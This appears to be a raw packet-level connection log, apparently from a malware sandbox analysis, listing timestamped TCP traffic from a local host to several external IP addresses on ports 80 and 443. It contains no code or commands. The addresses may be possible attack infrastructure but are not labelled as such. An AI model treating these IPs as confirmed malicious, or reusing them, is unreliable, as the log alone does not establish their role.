Aug 21, 2021 21:46:46.678997040 CEST	49747	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:46.843334913 CEST	80	49747	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:47.011739969 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.176558971 CEST	80	49748	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:47.177690029 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.178189993 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.178206921 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.337973118 CEST	80	49748	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:47.878650904 CEST	80	49748	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:47.878684044 CEST	80	49748	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:47.878746986 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.878786087 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.885255098 CEST	49748	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:47.963253021 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:48.045017004 CEST	80	49748	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:48.129801989 CEST	80	49749	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:48.129987001 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:48.130494118 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:48.130508900 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:48.145667076 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:48.145768881 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:48.145864010 CEST	49743	80	192.168.2.7	45.138.172.28
Aug 21, 2021 21:46:48.172709942 CEST	80	49743	45.138.172.28	192.168.2.7
Aug 21, 2021 21:46:48.297008038 CEST	80	49749	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:48.836169004 CEST	80	49749	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:48.836194038 CEST	80	49749	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:48.836426020 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:48.836563110 CEST	49749	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:49.003000021 CEST	80	49749	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:49.251487017 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:49.413183928 CEST	80	49750	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:49.420305967 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:49.433249950 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:49.433442116 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:49.596292019 CEST	80	49750	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:50.147937059 CEST	80	49750	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:50.147963047 CEST	80	49750	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:50.148046017 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.148175955 CEST	49750	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.291044950 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.309708118 CEST	80	49750	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:50.452923059 CEST	80	49751	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:50.455784082 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.456263065 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.456280947 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:50.616801977 CEST	80	49751	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:51.153327942 CEST	80	49751	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:51.153754950 CEST	80	49751	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:51.153852940 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.153904915 CEST	49751	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.209216118 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.314810038 CEST	80	49751	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:51.366995096 CEST	80	49753	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:51.367748022 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.368321896 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.371382952 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:51.529454947 CEST	80	49753	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:52.068973064 CEST	80	49753	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:52.069272041 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:52.069924116 CEST	80	49753	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:52.070122957 CEST	49753	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:52.166563988 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.229228973 CEST	80	49753	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:52.330445051 CEST	80	49754	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:52.330579996 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.330754042 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.330775976 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.493690014 CEST	80	49754	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:52.864701986 CEST	80	49754	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:52.864728928 CEST	80	49754	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:52.864801884 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.864825010 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.867731094 CEST	49754	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:52.997981071 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.030961990 CEST	80	49754	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:53.158752918 CEST	80	49755	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:53.160420895 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.160823107 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.160834074 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.319067001 CEST	80	49755	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:53.690794945 CEST	80	49755	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:53.691546917 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.691689968 CEST	80	49755	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:53.691780090 CEST	49755	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:53.729135036 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:53.849800110 CEST	80	49755	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:53.894673109 CEST	80	49756	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:53.894814968 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:53.896058083 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:53.896091938 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:54.059182882 CEST	80	49756	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:54.602497101 CEST	80	49756	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:54.602524042 CEST	80	49756	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:54.602596045 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:54.602768898 CEST	49756	80	192.168.2.7	187.190.48.60
Aug 21, 2021 21:46:54.647798061 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:54.766855001 CEST	80	49756	187.190.48.60	192.168.2.7
Aug 21, 2021 21:46:54.809237957 CEST	80	49757	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:54.809371948 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:54.809973955 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:54.810024023 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:54.970309019 CEST	80	49757	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:55.338582039 CEST	80	49757	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:55.338985920 CEST	80	49757	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:55.340907097 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.345251083 CEST	49757	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.474605083 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.506712914 CEST	80	49757	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:55.637634993 CEST	80	49758	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:55.638103008 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.638348103 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.638359070 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:55.800157070 CEST	80	49758	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:56.165143967 CEST	80	49758	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:56.166065931 CEST	80	49758	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:56.166255951 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:56.166270971 CEST	49758	80	192.168.2.7	148.101.76.245
Aug 21, 2021 21:46:56.329184055 CEST	80	49758	148.101.76.245	192.168.2.7
Aug 21, 2021 21:46:56.772816896 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:56.830125093 CEST	80	49759	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:56.830244064 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:56.846102953 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:56.903645039 CEST	80	49759	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:56.966464996 CEST	80	49759	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:56.966670036 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.192625999 CEST	49760	80	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.209995031 CEST	80	49760	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.210170031 CEST	49760	80	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.295387030 CEST	49760	80	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.312588930 CEST	80	49760	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.318205118 CEST	80	49760	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.319189072 CEST	49760	80	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.331361055 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.332869053 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.367747068 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.385003090 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.385117054 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.388662100 CEST	80	49759	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.388758898 CEST	49759	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.390151024 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.390472889 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.434165001 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.434437037 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.449522018 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.450054884 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.491482973 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.491507053 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.508874893 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.508899927 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.508912086 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.509079933 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.538276911 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.555557966 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.556514978 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.556545973 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.556617022 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.556792021 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.565994978 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566040993 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566056013 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566073895 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566082954 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566292048 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566412926 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.566528082 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.567420959 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.630619049 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630647898 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630657911 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630667925 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630682945 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630692959 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630706072 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630716085 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630731106 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.630902052 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.678633928 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.688183069 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.689599037 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.689626932 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.691061020 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.695744991 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.695833921 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.695981026 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.696048975 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.720799923 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.735646963 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.738653898 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.739053011 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.739139080 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.751568079 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.769393921 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.807898998 CEST	80	49761	185.215.113.206	192.168.2.7
Aug 21, 2021 21:46:57.807972908 CEST	49761	80	192.168.2.7	185.215.113.206
Aug 21, 2021 21:46:57.811036110 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811063051 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811079979 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811091900 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811108112 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811144114 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811139107 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811161995 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811180115 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811188936 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811197042 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811223030 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811244965 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811428070 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811444998 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811456919 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811480045 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811527014 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811836958 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811863899 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811881065 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811897039 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.811918020 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.811945915 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.812449932 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.812469959 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.812485933 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.812501907 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.812530994 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.812557936 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.813313007 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.813333988 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.813352108 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.813373089 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.813379049 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.813432932 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.814122915 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814142942 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814156055 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814172029 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814214945 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.814237118 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.814918041 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814939976 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814965010 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.814984083 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.815022945 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.815072060 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.815677881 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.815740108 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.829322100 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829346895 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829458952 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829461098 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.829541922 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.829543114 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829569101 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829591990 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.829591990 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.829617023 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.829649925 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.830306053 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.830332041 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.830354929 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.830377102 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.830406904 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.830454111 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.831124067 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.831152916 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.831175089 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.831196070 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.831332922 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.831902981 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832016945 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.832027912 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832056999 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832078934 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832181931 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.832703114 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832731962 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832753897 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832776070 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.832815886 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.832855940 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.833554983 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.833584070 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.833606005 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.833628893 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.833630085 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.833647966 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.833698988 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.834335089 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.834371090 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.834395885 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.834407091 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.834419012 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.834439993 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.834484100 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.835127115 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.835155964 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.835180044 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.835181952 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.835201979 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.835215092 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.835253000 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836018085 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836045027 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836069107 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836081028 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836090088 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836117029 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836160898 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836754084 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836803913 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836899996 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836926937 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836951017 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.836966038 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836985111 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.836988926 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.837013006 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.837038040 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.837753057 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.837778091 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.837799072 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.837821007 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.837847948 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.837973118 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.838536024 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.838584900 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.838591099 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.838610888 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.838633060 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.838645935 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.838677883 CEST	49762	443	192.168.2.7	162.159.130.233
Aug 21, 2021 21:46:57.839427948 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.839471102 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.839509010 CEST	443	49762	162.159.130.233	192.168.2.7
Aug 21, 2021 21:46:57.839514971 CEST	49762	443	192.168.2.7	162.159.130.233
